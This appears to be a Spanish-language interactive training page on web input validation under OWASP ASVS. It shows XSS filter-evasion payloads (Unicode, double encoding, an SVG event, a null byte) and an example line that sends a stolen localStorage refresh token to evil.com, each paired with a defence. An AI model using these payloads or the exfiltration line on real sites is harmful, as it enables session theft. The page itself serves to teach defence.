① Ataques de Encoding — Bypass de Listas Negras
Un atacante envía payloads con codificación Unicode, doble encoding o variantes para eludir filtros basados en listas negras.
☠️
Panel del Atacante
ATTACKERSelecciona una técnica de evasión
Payload generado
Campo objetivo
🚧
Defensa Deficiente — Lista Negra
VULNERABLESolo bloquea patrones exactos conocidos.
// ❌ Defensa débil: lista negra de palabras
const blacklist = [
"<script", "javascript:",
"onerror", "onload",
"alert(", "eval("
];
// ⚠️ No decodifica antes de comparar
⚠️
La lista negra nunca es exhaustiva. Unicode, encoding alternativo o variaciones siempre encontrarán un hueco.
📋
Bitácora del Ataque
Esperando ataque...
📊
Comparativa — Lista Negra vs Validación Estricta ASVS
| Técnica | Lista Negra (❌ débil) | Validación Estricta (✅ ASVS) | Razón |
|---|---|---|---|
<script> | PASA ❌ | BLOQUEADO ✅ | Unicode no decodificado antes de comparar |
%253Cscript%253E | PASA ❌ | BLOQUEADO ✅ | Doble encoding produce %3C en primera pasada |
<script> | PASA ❌ | BLOQUEADO ✅ | HTML entity no está en lista negra literal |
animaTE onbegin | PASA ❌ | BLOQUEADO ✅ | Atributo SVG no en blacklist, pero falla allowlist |
scri%00pt | PASA ❌ | BLOQUEADO ✅ | Null byte fragmenta cadena en algunos parsers |
② Contrato de Validación ASVS V5.1.1
El servidor valida cada entrada contra un contrato explícito. Elige un contexto real o edita tu propio contrato JSON. Basado en OWASP ASVS V5.
📄
Contrato del Servidor
ASVS V5.1.1Contexto predeterminado
ASVS V5.1.1:
Positive validation — solo acepta lo que está explícitamente permitido. Normaliza Unicode antes de validar.
Contrato JSON (edita o usa el predeterminado)
🔒
Validador ASVS
DEFENSA FUERTECaso de prueba predefinido
Ingresa un valor para validar
// Validación estricta servidor (Node.js)
function strictValidate(input, contract) {
let decoded = fullDecode(input);
decoded = decoded.normalize('NFC');
if (decoded.includes('\x00')) throw Error('NULL_BYTE');
const rx = new RegExp(contract.rules.pattern);
if (!rx.test(decoded)) throw Error('PATTERN_FAIL');
return decoded;
}Resultado
Escribe o selecciona un caso de prueba...
📋
Requisitos ASVS V5.1 — Validación de Entradas
| # | Requisito ASVS | Nivel | Estado |
|---|---|---|---|
| V5.1.1 | Protección contra HTTP parameter pollution | L1 | ✅ Implementado |
| V5.1.2 | Framework protege contra mass assignment | L1 | ✅ Simulado |
| V5.1.3 | Toda entrada validada contra allowlist | L1 | ✅ Contrato JSON |
| V5.1.4 | Datos estructurados fuertemente tipados | L1 | ✅ Schema validation |
| V5.2.1 | Toda salida HTML sanitizada | L1 | ✅ Sección 3 |
| V5.3.1 | Output encoding contextual | L1 | ✅ Simulado |
③ Refresh Token en LocalStorage + DOMPurify
Simulamos cómo un atacante explota un Refresh Token en localStorage mediante XSS, y aplicamos DOMPurify como defensa.
☠️
Escenario Vulnerable
PELIGRO
🔴
Riesgo: El Refresh Token en localStorage es accesible por cualquier JavaScript, incluyendo XSS inyectado.
// ❌ MAL: token sensible en localStorage
localStorage.setItem('refresh_token', token);
// XSS puede ejecutar:
const stolen = localStorage.getItem('refresh_token');
fetch('https://evil.com?t='+stolen);Vector de ataque XSS
Payload (editable)
🛡️
Solución — DOMPurify + HttpOnly Cookie
SEGURO
✅
Correcto: Refresh Token en cookie
HttpOnly; Secure; SameSite=Strict — inaccesible desde JS.// ✅ BIEN: HttpOnly cookie (servidor)
res.cookie('refresh_token', token, {
httpOnly: true,
secure: true,
sameSite: 'Strict'
});
// ✅ DOMPurify elimina XSS
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b','i','em','strong','p'],
ALLOWED_ATTR: [],
FORBID_ATTR: ['onerror','onload']
});Resultado DOMPurify (simulado)
Selecciona un vector y lanza el ataque...
🔄
Ciclo de Vida Seguro del Refresh Token
Login
→
Servidor genera tokens
→
Access Token → memoria JS
→
Refresh Token → HttpOnly cookie
→
XSS no puede robarlo
→
🛡️ Seguro
| Almacenamiento | Accesible por JS | Sobrevive a XSS | Recomendado para |
|---|---|---|---|
localStorage | SÍ ❌ | NO ❌ | Nada sensible |
sessionStorage | SÍ ❌ | NO ❌ | Estado temporal no sensible |
| Memoria JS (var) | SÍ | NO ❌ | Access Token (vida corta) |
| Cookie HttpOnly | NO ✅ | SÍ ✅ | Refresh Token |
④ Zero-Trust en Request e Input
Zero-Trust: nunca confíes, siempre verifica. Cada request pasa por múltiples capas independientemente de su origen.
🏗️
Arquitectura Zero-Trust (simulada)
🌐 Request entrante
→Cualquier origen: usuario, microservicio, API
🔐 Auth & Identity
→JWT verificado, MFA comprobado, sesión activa
🛂 Authorization
→¿Tiene permiso? RBAC/ABAC
📦 Input Validation
→Schema + contrato ASVS + sanitización
📊 Audit & Logging
→Registro inmutable de cada decisión
✅ / ❌ Decisión
→Allow o Deny — siempre explícito
📨
Constructor de Request
Método
Endpoint
Bearer Token (JWT)
Body (JSON)
📋
Resultado Zero-Trust
Envía un request para ver la validación.
Log de auditoría
Sin actividad...
📐
Principios Zero-Trust en Inputs
Never Trust
Ningún input se considera seguro por su origen. Interno, externo, microservicio — todos pasan el mismo proceso.
Ningún input se considera seguro por su origen. Interno, externo, microservicio — todos pasan el mismo proceso.
Always Verify
Cada campo se verifica contra un contrato explícito: tipo, longitud, formato, encoding.
Cada campo se verifica contra un contrato explícito: tipo, longitud, formato, encoding.
Least Privilege
Solo se aceptan los campos declarados. Campos extra son rechazados (previene mass assignment).
Solo se aceptan los campos declarados. Campos extra son rechazados (previene mass assignment).
⑤ Contratos de Esquema y Validación de Input
Un contrato de esquema define la forma exacta que debe tener un dato. Diseña el tuyo con opciones predefinidas.
📐
¿Qué es un Contrato de Esquema?
Un contrato de esquema es una especificación formal que describe la estructura, tipos y restricciones de los datos aceptados. Es la única fuente de verdad para la validación.
1
Esquema — Define shape: campos, tipos, obligatorio/opcional
2
Contrato — Agrega reglas de negocio: rangos, formatos, listas blancas
3
Validación — Aplica el contrato a cada input en tiempo real
🆚
Esquema vs Contrato de Validación
| Aspecto | Contrato de Esquema | Contrato de Validación |
|---|---|---|
| ¿Qué define? | Estructura y tipos | Reglas de negocio |
| Ejemplo | age: integer | age ≥ 18 AND ≤ 120 |
| Tecnología | JSON Schema, Zod, Yup | Custom validators, ASVS |
| Error si falla | 400 Bad Request | 422 Unprocessable |
🏗️
Constructor de Contrato
INTERACTIVOAñade campos con opciones predefinidas. Cada campo genera validación ASVS automática.
Nombre del campo
Tipo de dato
Mínimo (longitud/valor)
Máximo (longitud/valor)
Patrón (regex)
¿Requerido?
Contrato generado (JSON Schema + ASVS)
{
"title": "Mi Contrato de Validación",
"version": "1.0",
"asvs_level": 2,
"fields": []
}
⑥ ASVS Nivel 2 — Simulación Completa
ASVS Nivel 2 es para aplicaciones que manejan datos sensibles. Verifica que tu aplicación cumple los controles clave.
📊
Progreso de Cumplimiento ASVS L2
Controles verificados
0 / 20 completados
0%
Nivel de cumplimiento
🏛️
V1 — Arquitectura & Diseño
L2🔐
V2 — Autenticación
L2🎫
V3 — Gestión de Sesión
L2🛂
V4 — Control de Acceso
L2📋
V5 — Validación de Entradas
L2📊
V7 — Logging & Monitoreo
L2📄
Reporte de Cumplimiento
Marca los controles para generar el reporte.